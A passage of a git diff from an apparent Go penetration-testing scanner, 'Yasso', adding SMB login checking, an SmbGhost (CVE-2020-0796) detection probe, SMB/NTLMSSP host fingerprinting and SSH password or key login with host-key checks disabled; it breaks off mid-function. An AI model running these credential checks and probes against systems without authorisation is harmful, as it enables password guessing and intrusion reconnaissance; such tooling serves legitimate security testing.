func dialSmbTimeOut(info config.ServiceConn, user, pass string, signal chan struct{}) (bool, error) {
|
||||
var flag = false
|
||||
options := smb.Options{
|
||||
Host: info.Hostname,
|
||||
Port: 445,
|
||||
User: user,
|
||||
Password: pass,
|
||||
Domain: info.Domain,
|
||||
Workstation: "",
|
||||
}
|
||||
session, err := smb.NewSession(options, false)
|
||||
if err == nil {
|
||||
session.Close()
|
||||
if session.IsAuthenticated {
|
||||
flag = true
|
||||
}
|
||||
}
|
||||
signal <- struct{}{}
|
||||
return flag, err
|
||||
}
|
||||
@@ -1,9 +1,11 @@
|
||||
package cmd
|
||||
package plugin
|
||||
|
||||
import (
|
||||
"Yasso/config"
|
||||
"Yasso/core/logger"
|
||||
"bytes"
|
||||
"fmt"
|
||||
"net"
|
||||
"time"
|
||||
)
|
||||
|
||||
@@ -93,8 +95,8 @@ const (
|
||||
"\x00\x00\x00\x00"
|
||||
)
|
||||
|
||||
func SmbGhostConn(info config.HostIn) bool {
|
||||
conn, err := GetConn(fmt.Sprintf("%s:%v", info.Host, info.Port), info.TimeOut)
|
||||
func SmbGhostConn(info config.ServiceConn) bool {
|
||||
conn, err := net.DialTimeout("tcp", fmt.Sprintf("%s:%v", info.Hostname, info.Port), info.Timeout)
|
||||
if err != nil {
|
||||
return false
|
||||
} else {
|
||||
@@ -108,7 +110,7 @@ func SmbGhostConn(info config.HostIn) bool {
|
||||
}
|
||||
|
||||
if bytes.Contains([]byte(buff[:n]), []byte("Public")) == true {
|
||||
Println(fmt.Sprintf("[+] %s Find CVE-2020-0796", info.Host))
|
||||
logger.Success(fmt.Sprintf("%s Find CVE-2020-0796", info.Hostname))
|
||||
return true
|
||||
} else {
|
||||
//Println(ip + " Not Vulnerable")
|
||||
596
core/plugin/smbscan.go
Normal file
596
core/plugin/smbscan.go
Normal file
@@ -0,0 +1,596 @@
|
||||
package plugin
|
||||
|
||||
import (
|
||||
"Yasso/core/logger"
|
||||
"bytes"
|
||||
crand "crypto/rand"
|
||||
"encoding/binary"
|
||||
"encoding/hex"
|
||||
"fmt"
|
||||
"io"
|
||||
"net"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
func SmbScanConn(host string, port int, timeout time.Duration) (bool, string) {
|
||||
res, _, err := smb2(host, port, timeout)
|
||||
if err != nil || res["ntlmssp.Version"] == "" {
|
||||
return false, ""
|
||||
} else {
|
||||
banner := fmt.Sprintf("[%s]\n[%s (version) || %s (FQDN Name) ||%s (Domain Name) ||%s (Netbios Name)]",
|
||||
fmt.Sprintf("%s:%v", host, port),
|
||||
res["ntlmssp.Version"],
|
||||
res["ntlmssp.DNSComputer"],
|
||||
res["ntlmssp.TargetName"],
|
||||
res["ntlmssp.NetbiosComputer"],
|
||||
)
|
||||
logger.Success(banner)
|
||||
return true, banner
|
||||
}
|
||||
}
|
||||
|
||||
// -------------smb--------------------------------
|
||||
// smb2 from https://github.com/RumbleDiscovery/rumble-tools/blob/main/cmd/rumble-smb2-sessions/main.go
|
||||
func smb2(host string, port int, timeout time.Duration) (map[string]string, []byte, error) {
|
||||
// SMB1NegotiateProtocolRequest is a SMB1 request that advertises support for SMB2
|
||||
var smb1NegotiateProtocolRequest = []byte{
|
||||
0x00, 0x00, 0x00, 0xd4, 0xff, 0x53, 0x4d, 0x42,
|
||||
0x72, 0x00, 0x00, 0x00, 0x00, 0x18, 0x43, 0xc8,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xfe, 0xff,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0xb1, 0x00, 0x02,
|
||||
0x50, 0x43, 0x20, 0x4e, 0x45, 0x54, 0x57, 0x4f,
|
||||
0x52, 0x4b, 0x20, 0x50, 0x52, 0x4f, 0x47, 0x52,
|
||||
0x41, 0x4d, 0x20, 0x31, 0x2e, 0x30, 0x00, 0x02,
|
||||
0x4d, 0x49, 0x43, 0x52, 0x4f, 0x53, 0x4f, 0x46,
|
||||
0x54, 0x20, 0x4e, 0x45, 0x54, 0x57, 0x4f, 0x52,
|
||||
0x4b, 0x53, 0x20, 0x31, 0x2e, 0x30, 0x33, 0x00,
|
||||
0x02, 0x4d, 0x49, 0x43, 0x52, 0x4f, 0x53, 0x4f,
|
||||
0x46, 0x54, 0x20, 0x4e, 0x45, 0x54, 0x57, 0x4f,
|
||||
0x52, 0x4b, 0x53, 0x20, 0x33, 0x2e, 0x30, 0x00,
|
||||
0x02, 0x4c, 0x41, 0x4e, 0x4d, 0x41, 0x4e, 0x31,
|
||||
0x2e, 0x30, 0x00, 0x02, 0x4c, 0x4d, 0x31, 0x2e,
|
||||
0x32, 0x58, 0x30, 0x30, 0x32, 0x00, 0x02, 0x44,
|
||||
0x4f, 0x53, 0x20, 0x4c, 0x41, 0x4e, 0x4d, 0x41,
|
||||
0x4e, 0x32, 0x2e, 0x31, 0x00, 0x02, 0x4c, 0x41,
|
||||
0x4e, 0x4d, 0x41, 0x4e, 0x32, 0x2e, 0x31, 0x00,
|
||||
0x02, 0x53, 0x61, 0x6d, 0x62, 0x61, 0x00, 0x02,
|
||||
0x4e, 0x54, 0x20, 0x4c, 0x41, 0x4e, 0x4d, 0x41,
|
||||
0x4e, 0x20, 0x31, 0x2e, 0x30, 0x00, 0x02, 0x4e,
|
||||
0x54, 0x20, 0x4c, 0x4d, 0x20, 0x30, 0x2e, 0x31,
|
||||
0x32, 0x00, 0x02, 0x53, 0x4d, 0x42, 0x20, 0x32,
|
||||
0x2e, 0x30, 0x30, 0x32, 0x00, 0x02, 0x53, 0x4d,
|
||||
0x42, 0x20, 0x32, 0x2e, 0x3f, 0x3f, 0x3f, 0x00,
|
||||
}
|
||||
|
||||
info := make(map[string]string)
|
||||
conn, err := net.DialTimeout("tcp", fmt.Sprintf("%v:%v", host, port), timeout)
|
||||
if err != nil {
|
||||
return info, []byte{}, err
|
||||
}
|
||||
err = SMBSendData(conn, smb1NegotiateProtocolRequest, timeout)
|
||||
if err != nil {
|
||||
return info, []byte{}, err
|
||||
}
|
||||
|
||||
data, err := SMBReadFrame(conn, timeout)
|
||||
if err != nil {
|
||||
return info, []byte{}, err
|
||||
}
|
||||
|
||||
err = SMBSendData(conn, SMB2NegotiateProtocolRequest(host), timeout)
|
||||
if err != nil {
|
||||
return info, []byte{}, err
|
||||
}
|
||||
|
||||
data, _ = SMBReadFrame(conn, timeout)
|
||||
SMB2ExtractFieldsFromNegotiateReply(data, info)
|
||||
|
||||
// SMB2SessionSetupNTLMSSP is a SMB2 SessionSetup NTLMSSP request
|
||||
var smb2SessionSetupNTLMSSP = []byte{
|
||||
0x00, 0x00, 0x00, 0xa2, 0xfe, 0x53, 0x4d, 0x42,
|
||||
0x40, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x01, 0x00, 0x21, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x19, 0x00, 0x00, 0x01,
|
||||
0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x58, 0x00, 0x4a, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x60, 0x48, 0x06, 0x06,
|
||||
0x2b, 0x06, 0x01, 0x05, 0x05, 0x02, 0xa0, 0x3e,
|
||||
0x30, 0x3c, 0xa0, 0x0e, 0x30, 0x0c, 0x06, 0x0a,
|
||||
0x2b, 0x06, 0x01, 0x04, 0x01, 0x82, 0x37, 0x02,
|
||||
0x02, 0x0a, 0xa2, 0x2a, 0x04, 0x28, 0x4e, 0x54,
|
||||
0x4c, 0x4d, 0x53, 0x53, 0x50, 0x00, 0x01, 0x00,
|
||||
0x00, 0x00, 0x97, 0x82, 0x08, 0xe2, 0x00, 0x00,
|
||||
0x00, 0x00, 0x28, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x28, 0x00, 0x00, 0x00, 0x0a, 0x00,
|
||||
0xba, 0x47, 0x00, 0x00, 0x00, 0x0f,
|
||||
}
|
||||
|
||||
setup := make([]byte, len(smb2SessionSetupNTLMSSP))
|
||||
copy(setup, smb2SessionSetupNTLMSSP)
|
||||
|
||||
// Set the ProcessID
|
||||
binary.LittleEndian.PutUint16(setup[4+32:], 0xfeff)
|
||||
|
||||
err = SMBSendData(conn, setup, timeout)
|
||||
if err != nil {
|
||||
return info, []byte{}, err
|
||||
}
|
||||
|
||||
data, err = SMBReadFrame(conn, timeout)
|
||||
SMB2ExtractSIDFromSessionSetupReply(data, info)
|
||||
SMBExtractFieldsFromSecurityBlob(data, info)
|
||||
|
||||
return info, data, err
|
||||
}
|
||||
|
||||
// RandomBytes generates a random byte sequence of the requested length
|
||||
func RandomBytes(numBytes int) []byte {
|
||||
randBytes := make([]byte, numBytes)
|
||||
err := binary.Read(crand.Reader, binary.BigEndian, &randBytes)
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
return randBytes
|
||||
}
|
||||
|
||||
// SMBReadFrame reads the netBios header then the full response
|
||||
func SMBReadFrame(conn net.Conn, t time.Duration) ([]byte, error) {
|
||||
timeout := time.Now().Add(time.Duration(t) * time.Second)
|
||||
res := []byte{}
|
||||
nbh := make([]byte, 4)
|
||||
|
||||
err := conn.SetReadDeadline(timeout)
|
||||
if err != nil {
|
||||
return res, err
|
||||
}
|
||||
|
||||
// Read the NetBIOS header
|
||||
n, err := conn.Read(nbh[:])
|
||||
if err != nil {
|
||||
// Return if EOF is reached
|
||||
if err == io.EOF {
|
||||
return res, nil
|
||||
}
|
||||
|
||||
// Return if timeout is reached
|
||||
if err, ok := err.(net.Error); ok && err.Timeout() {
|
||||
return res, nil
|
||||
}
|
||||
|
||||
// If we have data and received an error, it was probably a reset
|
||||
if len(res) > 0 {
|
||||
return res, nil
|
||||
}
|
||||
|
||||
return res, err
|
||||
}
|
||||
|
||||
if n != 4 {
|
||||
return res, nil
|
||||
}
|
||||
|
||||
res = append(res[:], nbh[:n]...)
|
||||
dlen := binary.BigEndian.Uint32(nbh[:]) & 0x00ffffff
|
||||
buf := make([]byte, dlen)
|
||||
n, err = conn.Read(buf[:])
|
||||
if err != nil {
|
||||
// Return if EOF is reached
|
||||
if err == io.EOF {
|
||||
return res, nil
|
||||
}
|
||||
|
||||
// Return if timeout is reached
|
||||
if err, ok := err.(net.Error); ok && err.Timeout() {
|
||||
return res, nil
|
||||
}
|
||||
|
||||
// If we have data and received an error, it was probably a reset
|
||||
if len(res) > 0 {
|
||||
return res, nil
|
||||
}
|
||||
|
||||
return res, err
|
||||
}
|
||||
res = append(res[:], buf[:n]...)
|
||||
return res, nil
|
||||
}
|
||||
|
||||
// SMB2ExtractFieldsFromNegotiateReply extracts useful fields from the SMB2 negotiate response
|
||||
func SMB2ExtractFieldsFromNegotiateReply(blob []byte, info map[string]string) {
|
||||
|
||||
smbOffset := bytes.Index(blob, []byte{0xfe, 'S', 'M', 'B'})
|
||||
if smbOffset < 0 {
|
||||
return
|
||||
}
|
||||
|
||||
data := blob[smbOffset:]
|
||||
|
||||
// Basic sanity check
|
||||
if len(data) < (64 + 8 + 16 + 36) {
|
||||
return
|
||||
}
|
||||
|
||||
switch binary.LittleEndian.Uint16(data[64+2:]) {
|
||||
case 0:
|
||||
info["smb.Signing"] = "disabled"
|
||||
case 1:
|
||||
info["smb.Signing"] = "enabled"
|
||||
case 2, 3:
|
||||
info["smb.Signing"] = "required"
|
||||
}
|
||||
|
||||
info["smb.Dialect"] = fmt.Sprintf("0x%.4x", binary.LittleEndian.Uint16(data[64+4:]))
|
||||
//info["smb.GUID"] = uuid.FromBytesOrNil(data[64+8 : 64+8+16]).String()
|
||||
info["smb.Capabilities"] = fmt.Sprintf("0x%.8x", binary.LittleEndian.Uint32(data[64+8+16:]))
|
||||
|
||||
negCtxCount := int(binary.LittleEndian.Uint16(data[64+6:]))
|
||||
negCtxOffset := int(binary.LittleEndian.Uint32(data[64+8+16+36:]))
|
||||
if negCtxCount == 0 || negCtxOffset == 0 || negCtxOffset+(negCtxCount*8) > len(data) {
|
||||
return
|
||||
}
|
||||
|
||||
negCtxData := data[negCtxOffset:]
|
||||
idx := 0
|
||||
for {
|
||||
if idx+8 > len(negCtxData) {
|
||||
break
|
||||
}
|
||||
negType := int(binary.LittleEndian.Uint16(negCtxData[idx:]))
|
||||
negLen := int(binary.LittleEndian.Uint16(negCtxData[idx+2:]))
|
||||
idx += 8
|
||||
|
||||
if idx+negLen > len(negCtxData) {
|
||||
break
|
||||
}
|
||||
negData := negCtxData[idx : idx+negLen]
|
||||
|
||||
SMB2ParseNegotiateContext(negType, negData, info)
|
||||
|
||||
// Move the index to the next context
|
||||
idx += negLen
|
||||
// Negotiate Contexts are aligned on 64-bit boundaries
|
||||
for idx%8 != 0 {
|
||||
idx++
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// SMB2ParseNegotiateContext decodes fields from the SMB2 Negotiate Context values
|
||||
func SMB2ParseNegotiateContext(t int, data []byte, info map[string]string) {
|
||||
switch t {
|
||||
case 1:
|
||||
// SMB2_PREAUTH_INTEGRITY_CAPABILITIES
|
||||
if len(data) < 6 {
|
||||
return
|
||||
}
|
||||
hashCount := int(binary.LittleEndian.Uint16(data[:]))
|
||||
// MUST only be one in responses
|
||||
if hashCount != 1 {
|
||||
return
|
||||
}
|
||||
hashSaltLen := int(binary.LittleEndian.Uint16(data[2:]))
|
||||
hashType := int(binary.LittleEndian.Uint16(data[4:]))
|
||||
hashName := "sha512"
|
||||
if hashType != 1 {
|
||||
hashName = fmt.Sprintf("unknown-%d", hashType)
|
||||
}
|
||||
info["smb.HashAlg"] = hashName
|
||||
info["smb.HashSaltLen"] = fmt.Sprintf("%d", hashSaltLen)
|
||||
|
||||
case 2:
|
||||
// SMB2_ENCRYPTION_CAPABILITIES
|
||||
if len(data) < 4 {
|
||||
return
|
||||
}
|
||||
cipherCount := int(binary.LittleEndian.Uint16(data[:]))
|
||||
if len(data) < 2+(2*cipherCount) {
|
||||
return
|
||||
}
|
||||
// MUST only be one in responses
|
||||
if cipherCount != 1 {
|
||||
return
|
||||
}
|
||||
cipherList := []string{}
|
||||
for i := 0; i < cipherCount; i++ {
|
||||
cipherID := int(binary.LittleEndian.Uint16(data[2+(i*2):]))
|
||||
cipherName := ""
|
||||
switch cipherID {
|
||||
case 1:
|
||||
cipherName = "aes-128-ccm"
|
||||
case 2:
|
||||
cipherName = "aes-128-gcm"
|
||||
default:
|
||||
cipherName = fmt.Sprintf("unknown-%d", cipherID)
|
||||
}
|
||||
cipherList = append(cipherList, cipherName)
|
||||
}
|
||||
|
||||
info["smb.CipherAlg"] = strings.Join(cipherList, "\t")
|
||||
|
||||
case 3:
|
||||
// SMB2_COMPRESSION_CAPABILITIES
|
||||
if len(data) < 10 {
|
||||
return
|
||||
}
|
||||
compCount := int(binary.LittleEndian.Uint16(data[:]))
|
||||
if len(data) < 2+2+4+(2*compCount) {
|
||||
return
|
||||
}
|
||||
// MUST only be one in responses
|
||||
if compCount != 1 {
|
||||
return
|
||||
}
|
||||
compList := []string{}
|
||||
for i := 0; i < compCount; i++ {
|
||||
compID := int(binary.LittleEndian.Uint16(data[8+(i*2):]))
|
||||
compName := ""
|
||||
switch compID {
|
||||
case 0:
|
||||
compName = "none"
|
||||
case 1:
|
||||
compName = "lznt1"
|
||||
case 2:
|
||||
compName = "lz77"
|
||||
case 3:
|
||||
compName = "lz77+huff"
|
||||
case 4:
|
||||
compName = "patternv1"
|
||||
default:
|
||||
compName = fmt.Sprintf("unknown-%d", compID)
|
||||
}
|
||||
compList = append(compList, compName)
|
||||
}
|
||||
info["smb.CompressionFlags"] = fmt.Sprintf("0x%.4x", binary.LittleEndian.Uint32(data[4:]))
|
||||
info["smb.CompressionAlg"] = strings.Join(compList, "\t")
|
||||
}
|
||||
}
|
||||
|
||||
// SMBSendData writes a SMB request to a socket
|
||||
func SMBSendData(conn net.Conn, data []byte, timeout time.Duration) error {
|
||||
err := conn.SetWriteDeadline(time.Now().Add(time.Duration(timeout) * time.Second))
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
n, err := conn.Write(data)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
_ = n
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// SMB2ExtractSIDFromSessionSetupReply tries to extract the SessionID and Signature from a SMB2 reply
|
||||
func SMB2ExtractSIDFromSessionSetupReply(blob []byte, info map[string]string) {
|
||||
smbOffset := bytes.Index(blob, []byte{0xfe, 'S', 'M', 'B'})
|
||||
if smbOffset < 0 {
|
||||
return
|
||||
}
|
||||
|
||||
smbData := blob[smbOffset:]
|
||||
if len(smbData) < 48 {
|
||||
return
|
||||
}
|
||||
|
||||
status := binary.LittleEndian.Uint32(smbData[8:])
|
||||
info["smb.Status"] = fmt.Sprintf("0x%.8x", status)
|
||||
|
||||
sessID := binary.LittleEndian.Uint64(smbData[40:])
|
||||
info["smb.SessionID"] = fmt.Sprintf("0x%.16x", sessID)
|
||||
|
||||
if len(smbData) >= 64 {
|
||||
sigData := hex.EncodeToString(smbData[48:64])
|
||||
if sigData != "00000000000000000000000000000000" {
|
||||
info["smb.Signature"] = sigData
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// SMBExtractValueFromOffset peels a field out of a SMB buffer
|
||||
func SMBExtractValueFromOffset(blob []byte, idx int) ([]byte, int, error) {
|
||||
res := []byte{}
|
||||
|
||||
if len(blob) < (idx + 6) {
|
||||
return res, idx, fmt.Errorf("data truncated")
|
||||
}
|
||||
|
||||
len1 := binary.LittleEndian.Uint16(blob[idx:])
|
||||
idx += 2
|
||||
|
||||
// len2 := binary.LittleEndian.Uint16(blob[idx:])
|
||||
idx += 2
|
||||
|
||||
off := binary.LittleEndian.Uint32(blob[idx:])
|
||||
idx += 4
|
||||
|
||||
// Allow zero length values
|
||||
if len1 == 0 {
|
||||
return res, idx, nil
|
||||
}
|
||||
|
||||
if len(blob) < int(off+uint32(len1)) {
|
||||
return res, idx, fmt.Errorf("data value truncated")
|
||||
}
|
||||
|
||||
res = append(res, blob[off:off+uint32(len1)]...)
|
||||
return res, idx, nil
|
||||
}
|
||||
|
||||
// SMBExtractFieldsFromSecurityBlob extracts fields from the NTLMSSP response
|
||||
func SMBExtractFieldsFromSecurityBlob(blob []byte, info map[string]string) {
|
||||
var err error
|
||||
|
||||
ntlmsspOffset := bytes.Index(blob, []byte{'N', 'T', 'L', 'M', 'S', 'S', 'P', 0x00, 0x02, 0x00, 0x00, 0x00})
|
||||
if ntlmsspOffset < 0 {
|
||||
return
|
||||
}
|
||||
|
||||
data := blob[ntlmsspOffset:]
|
||||
|
||||
// Basic sanity check
|
||||
if len(data) < (12 + 6 + 12 + 8 + 6 + 8) {
|
||||
return
|
||||
}
|
||||
|
||||
idx := 12
|
||||
|
||||
targetName, idx, err := SMBExtractValueFromOffset(data, idx)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
// Negotiate Flags
|
||||
negotiateFlags := binary.LittleEndian.Uint32(data[idx:])
|
||||
info["ntlmssp.NegotiationFlags"] = fmt.Sprintf("0x%.8x", negotiateFlags)
|
||||
idx += 4
|
||||
|
||||
// NTLM Server Challenge
|
||||
idx += 8
|
||||
|
||||
// Reserved
|
||||
idx += 8
|
||||
|
||||
// Target Info
|
||||
targetInfo, idx, err := SMBExtractValueFromOffset(data, idx)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
// Version
|
||||
versionMajor := uint8(data[idx])
|
||||
idx++
|
||||
|
||||
versionMinor := uint8(data[idx])
|
||||
idx++
|
||||
|
||||
versionBuild := binary.LittleEndian.Uint16(data[idx:])
|
||||
idx += 2
|
||||
|
||||
ntlmRevision := binary.BigEndian.Uint32(data[idx:])
|
||||
|
||||
// macOS reverses the endian order of this field for some reason
|
||||
if ntlmRevision == 251658240 {
|
||||
ntlmRevision = binary.LittleEndian.Uint32(data[idx:])
|
||||
}
|
||||
|
||||
info["ntlmssp.Version"] = fmt.Sprintf("%d.%d.%d", versionMajor, versionMinor, versionBuild)
|
||||
info["ntlmssp.NTLMRevision"] = fmt.Sprintf("%d", ntlmRevision)
|
||||
info["ntlmssp.TargetName"] = TrimName(string(targetName))
|
||||
|
||||
idx = 0
|
||||
for {
|
||||
if idx+4 > len(targetInfo) {
|
||||
break
|
||||
}
|
||||
|
||||
attrType := binary.LittleEndian.Uint16(targetInfo[idx:])
|
||||
idx += 2
|
||||
|
||||
// End of List
|
||||
if attrType == 0 {
|
||||
break
|
||||
}
|
||||
|
||||
attrLen := binary.LittleEndian.Uint16(targetInfo[idx:])
|
||||
idx += 2
|
||||
|
||||
if idx+int(attrLen) > len(targetInfo) {
|
||||
// log.Printf("too short: %d/%d", idx+int(attrLen), len(targetInfo))
|
||||
break
|
||||
}
|
||||
|
||||
attrVal := targetInfo[idx : idx+int(attrLen)]
|
||||
idx += int(attrLen)
|
||||
|
||||
switch attrType {
|
||||
case 1:
|
||||
info["ntlmssp.NetbiosComputer"] = TrimName(string(attrVal))
|
||||
case 2:
|
||||
info["ntlmssp.NetbiosDomain"] = TrimName(string(attrVal))
|
||||
case 3:
|
||||
info["ntlmssp.DNSComputer"] = TrimName(string(attrVal))
|
||||
case 4:
|
||||
info["ntlmssp.DNSDomain"] = TrimName(string(attrVal))
|
||||
case 7:
|
||||
ts := binary.LittleEndian.Uint64(attrVal[:])
|
||||
info["ntlmssp.Timestamp"] = fmt.Sprintf("0x%.16x", ts)
|
||||
|
||||
}
|
||||
|
||||
// End of List
|
||||
if attrType == 0 {
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// TrimName removes null bytes and trims leading and trailing spaces from a string
|
||||
func TrimName(name string) string {
|
||||
return strings.TrimSpace(strings.Replace(name, "\x00", "", -1))
|
||||
}
|
||||
|
||||
// SMB2NegotiateProtocolRequest generates a new Negotiate request with the specified target name
|
||||
func SMB2NegotiateProtocolRequest(dst string) []byte {
|
||||
|
||||
base := []byte{
|
||||
0xfe, 0x53, 0x4d, 0x42,
|
||||
0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0xff, 0xfe, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x24, 0x00, 0x05, 0x00,
|
||||
0x01, 0x00, 0x00, 0x00, 0x7f, 0x00, 0x00, 0x00,
|
||||
}
|
||||
|
||||
// Client GUID (16)
|
||||
base = append(base[:], RandomBytes(16)...)
|
||||
|
||||
base = append(base[:], []byte{
|
||||
0x70, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00,
|
||||
0x02, 0x02, 0x10, 0x02, 0x00, 0x03, 0x02, 0x03,
|
||||
0x11, 0x03, 0x00, 0x00, 0x01, 0x00, 0x26, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x20, 0x00,
|
||||
0x01, 0x00,
|
||||
}...)
|
||||
|
||||
// SHA-512 Salt (32)
|
||||
base = append(base[:], RandomBytes(32)...)
|
||||
|
||||
base = append(base[:], []byte{
|
||||
0x00, 0x00, 0x02, 0x00, 0x06, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x02, 0x00,
|
||||
0x01, 0x00, 0x00, 0x00, 0x03, 0x00, 0x0e, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x03, 0x00,
|
||||
0x01, 0x00, 0x00, 0x00,
|
||||
}...)
|
||||
|
||||
encodedDst := make([]byte, len(dst)*2)
|
||||
for i, b := range []byte(dst) {
|
||||
encodedDst[i*2] = b
|
||||
}
|
||||
|
||||
netname := []byte{0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}
|
||||
binary.LittleEndian.PutUint16(netname[2:], uint16(len(encodedDst)))
|
||||
netname = append(netname, encodedDst...)
|
||||
|
||||
base = append(base, netname...)
|
||||
|
||||
nbhd := make([]byte, 4)
|
||||
binary.BigEndian.PutUint32(nbhd, uint32(len(base)))
|
||||
nbhd = append(nbhd, base...)
|
||||
return nbhd
|
||||
}
|
||||
|
||||
//-------------------------------------------------
|
||||
126
core/plugin/ssh.go
Normal file
126
core/plugin/ssh.go
Normal file
@@ -0,0 +1,126 @@
|
||||
package plugin
|
||||
|
||||
import (
|
||||
"Yasso/config"
|
||||
"Yasso/core/logger"
|
||||
"Yasso/core/utils"
|
||||
"bytes"
|
||||
"fmt"
|
||||
"golang.org/x/crypto/ssh"
|
||||
"io/ioutil"
|
||||
"net"
|
||||
"os"
|
||||
"path"
|
||||
"regexp"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
func SshConnByUser(info config.ServiceConn, user, pass string) (*ssh.Client, bool, error) {
|
||||
sshConfig := &ssh.ClientConfig{User: user, Auth: []ssh.AuthMethod{ssh.Password(pass)}, HostKeyCallback: ssh.InsecureIgnoreHostKey(), Timeout: info.Timeout}
|
||||
con, err := net.DialTimeout("tcp", fmt.Sprintf("%v:%v", info.Hostname, info.Port), info.Timeout)
|
||||
if err != nil {
|
||||
return nil, false, err
|
||||
}
|
||||
c, ch, re, err := ssh.NewClientConn(con, fmt.Sprintf("%v:%v", info.Hostname, info.Port), sshConfig)
|
||||
if err != nil {
|
||||
return nil, false, err
|
||||
}
|
||||
return ssh.NewClient(c, ch, re), true, err
|
||||
}
|
||||
|
||||
func SshConnByKey(info config.ServiceConn, user string) (*ssh.Client, bool, error) {
|
||||
var (
|
||||
err error
|
||||
HomePath string
|
||||
key []byte
|
||||
)
|
||||
switch {
|
||||
case info.PublicKey == "":
|
||||
HomePath, err = os.UserHomeDir()
|
||||
if err != nil {
|
||||
return nil, false, err
|
||||
}
|
||||
key, err = ioutil.ReadFile(path.Join(HomePath, ".ssh", "id_rsa"))
|
||||
if err != nil {
|
||||
return nil, false, err
|
||||
}
|
||||
case info.PublicKey != "":
|
||||
key, err = ioutil.ReadFile(info.PublicKey)
|
||||
if err != nil {
|
||||
return nil, false, err
|
||||
}
|
||||
}
|
||||
signer, err := ssh.ParsePrivateKey(key)
|
||||
if err != nil {
|
||||
return nil, false, err
|
||||
}
|
||||
sshConfig := &ssh.ClientConfig{
|
||||
User: user,
|
||||
Auth: []ssh.AuthMethod{
|
||||
ssh.PublicKeys(signer),
|
||||
},
|
||||
Timeout: info.Timeout,
|
||||
HostKeyCallback: ssh.InsecureIgnoreHostKey(),
|
||||
}
|
||||
con, err := net.DialTimeout("tcp", fmt.Sprintf("%v:%v", info.Hostname, info.Port), info.Timeout)
|
||||
if err != nil {
|
||||
return nil, false, err
|
||||
}
|
||||
|
||||
c, ch, re, err := ssh.NewClientConn(con, fmt.Sprintf("%v:%v", info.Hostname, info.Port), sshConfig)
|
||||
if err != nil {
|
||||
return nil, false, err
|
||||
}
|
||||
return ssh.NewClient(c, ch, re), true, err
|
||||
}
|
||||
|
||||
func VersionSSH(info config.ServiceConn) string {
|
||||
buff, err := sshConn(info)
|
||||
if err != nil {
|
||||
logger.Fatal(fmt.Sprintf("%s ssh conn has an error", info.Hostname))
|
||||
return ""
|
||||
}
|
||||
ok, _ := regexp.Match(`^SSH.\d`, buff)
|
||||
str := utils.ByteToStringParse(buff)
|
||||
if ok {
|
||||
logger.Info(fmt.Sprintf("%s:%v [%v]", info.Hostname, info.Port, strings.Split(str, "\\x0d\\x0a")[0]))
|
||||
return fmt.Sprintf("%s:%v [%v]", info.Hostname, info.Port, strings.Split(str, "\\x0d\\x0a")[0])
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
// sshConn 连接到tcp
|
||||
func sshConn(info config.ServiceConn) ([]byte, error) {
|
||||
conn, err := net.DialTimeout("tcp", fmt.Sprintf("%v:%v", info.Hostname, info.Port), time.Duration(info.Timeout))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
_ = conn.SetDeadline(time.Now().Add(time.Duration(2) * time.Second))
|
||||
reply := make([]byte, 256)
|
||||
_, err = conn.Read(reply)
|
||||
|
||||
var buffer [256]byte
|
||||
if err == nil && bytes.Equal(reply[:], buffer[:]) == false {
|
||||
if conn != nil {
|
||||
_ = conn.Close()
|
||||
}
|
||||
return reply, nil
|
||||
}
|
||||
conn, err = net.DialTimeout("tcp", fmt.Sprintf("%v:%v", info.Hostname, info.Port), time.Duration(info.Timeout))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
msg := "GET /test HTTP/1.1\r\n\r\n"
|
||||
_, err = conn.Write([]byte(msg))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
